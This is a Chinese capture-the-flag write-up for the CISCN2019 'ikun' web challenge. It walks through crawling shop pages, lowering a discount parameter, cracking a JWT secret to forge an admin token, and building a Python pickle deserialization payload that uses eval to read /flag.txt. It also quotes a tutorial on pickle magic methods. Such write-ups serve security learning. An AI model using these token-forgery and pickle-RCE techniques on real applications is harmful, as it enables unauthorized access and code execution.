CISCN2019 华北赛区 Day1 Web2 ikun_0x10-0x1F

一打开页面,很魔性。。

image-20211020233731895

先注册个账号

下面提示一定要买到lv6

翻了好几面,没有找到,于是写了一个简单的爬虫脚本:S

image-20211020234222133

注意爬虫要慢一点,buu很容易崩。

import urllib.request
import time
for i in range(0,1000):
    url = 'http://272059db-2e14-4adc-ae85-8f5a64a35acb.node4.buuoj.cn:81/shop?page='+str(i)
    print(url)
    time.sleep(1)
    response = urllib.request.urlopen(url).read().decode('utf-8')

    if 'lv6.png' in response:
        print(i)
        break

发现在181面

image-20211020234439410

不过钱却不太够,用burp抓下包试一试

image-20211020234524015

发现discount=0.8,将它改小

image-20211020234610565

发现只允许admin登录

image-20211020234638452

仔细分析下数据包,发现了jwt,解一下码:

image-20211020235006767

爆破一下(感觉这个挺靠运气和字典吧)

发现密钥为 1Kun

重新生成admin的jwt

image-20211020235300543

查看源代码:

在这里发现源码泄露:

image-20211020235354388

下载下来,找到一个叫admin.py的文件,打开

image-20211020235429287

看到了pickle,查阅资料可知:

假设你有一个字典,你想存储它,稍后再取出来。你可以把它的内容写入一个文件,小心翼翼地确保使用了正确地格式,要把它读取出来,你可以使用 exec() 或处理文件输入。但是这种方法并不可靠:如果你使用纯文本来存储重要数据,数据很容易以多种方式被破坏或者修改,导致你的程序崩溃,更糟糕的情况下,还可能在你的计算机上运行恶意代码。因此,我们要pickle它:

import pickle

data = {'foo': [1,2,3],
                'bar': ('Hello', 'world!'),
                'baz': True}
jar = open('data.pkl', 'wb')
pickle.dump(data, jar) # 将pickle后的数据写入jar文件
jar.close()

过了几个小时,我们想把它取出来,我们只需要反pickle它:

import pickle

pkl_file = open('data.pkl', 'rb') # 与pickle后的数据连接
data = pickle.load(pkl_file) # 把它加载进一个变量
print data
pkl_file.close()

将会发生什么?正如你期待的,它就是我们之前的 data 。

现在,还需要谨慎地说一句: pickle并不完美。Pickle文件很容易因为事故或被故意的破坏掉。Pickling或许比纯文本文件安全一些,但是依然有可能被用来运行恶意代码。而且它还不支持跨Python版本,所以不要指望分发pickle对象之后所有人都能正确地读取。然而不管怎么样,它依然是一个强有力的工具,可以用于缓存和其他类型的持久化工作。

11.13.2. Pickle你的对象

Pickle不仅仅可以用于内建类型,任何遵守pickle协议的类都可以被pickle。Pickle协议有四个可选方法,可以让类自定义它们的行为(这和C语言扩展略有不同,那不在我们的讨论范围之内)。

  • getinitargs(self)

如果你想让你的类在反pickle时调用 init ,你可以定义__getinitargs__(self) ,它会返回一个参数元组,这个元组会传递给__init__ 。注意,这个方法只能用于旧式类。

  • getnewargs(self)

对新式类来说,你可以通过这个方法改变类在反pickle时传递给 new 的参数。这个方法应该返回一个参数元组。

  • getstate(self)

你可以自定义对象被pickle时被存储的状态,而不使用对象的 dict 属性。 这个状态在对象被反pickle时会被 setstate 使用。

  • setstate(self)

当一个对象被反pickle时,如果定义了 setstate ,对象的状态会传递给这个魔法方法,而不是直接应用到对象的 dict 属性。这个魔法方法和__getstate__ 相互依存:当这两个方法都被定义时,你可以在Pickle时使用任何方法保存对象的任何状态。

  • reduce(self)

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 reduce 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);

  • reduce_ex(self)

reduce_ex 的存在是为了兼容性。如果它被定义,在pickle时__reduce_ex__ 会代替 reduce 被调用。 reduce 也可以被定义,用于不支持 reduce_ex 的旧版pickle的API调用。

这里构造payload,传给become:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

image-20211020235644482

image-20211020235657704